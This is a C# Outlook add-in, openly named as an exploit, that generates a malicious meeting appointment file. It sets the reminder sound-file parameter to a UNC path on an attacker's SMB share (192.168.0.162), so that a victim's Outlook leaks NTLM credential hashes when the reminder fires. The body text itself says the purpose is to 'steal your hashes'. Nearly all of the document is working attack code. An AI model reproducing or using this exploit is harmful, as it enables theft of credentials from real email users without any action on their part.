using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Xml.Linq; using Outlook = Microsoft.Office.Interop.Outlook; using Office = Microsoft.Office.Core; using MsgKit; namespace ExploitAppointment { public partial class ThisAddIn { private void ThisAddIn_Startup(object sender, System.EventArgs e) { using (var appointment = new Appointment( new Sender("hello@tonyharris.io", "Tony Harris"), new Representing("hello@tonyarris.io", "Tony Harris"), "This is a test subject")) { appointment.Recipients.AddTo("victim@victimdomain.xyz", "Victim"); appointment.Subject = "Let's hash this out"; appointment.Location = "Meeting room 1"; appointment.MeetingStart = DateTime.Now.Date; appointment.MeetingEnd = DateTime.Now.Date.AddDays(1).Date; appointment.AllDay = true; appointment.BodyText = "A quick meeting to steal your hashes"; appointment.BodyHtml = "A quick meeting to steal your hashes"; appointment.SentOn = DateTime.UtcNow; appointment.Importance = MsgKit.Enums.MessageImportance.IMPORTANCE_NORMAL; appointment.IconIndex = MsgKit.Enums.MessageIconIndex.UnsentMail; appointment.PidLidReminderFileParameter = @"\\192.168.0.162\share"; appointment.PidLidReminderOverride = true; appointment.Save(@"c:\exploit\appointment.msg"); } } private void ThisAddIn_Shutdown(object sender, System.EventArgs e) { // Note: Outlook no longer raises this event. If you have code that // must run when Outlook shuts down, see https://go.microsoft.com/fwlink/?LinkId=506785 } #region VSTO generated code /// /// Required method for Designer support - do not modify /// the contents of this method with the code editor. /// private void InternalStartup() { this.Startup += new System.EventHandler(ThisAddIn_Startup); this.Shutdown += new System.EventHandler(ThisAddIn_Shutdown); } #endregion } }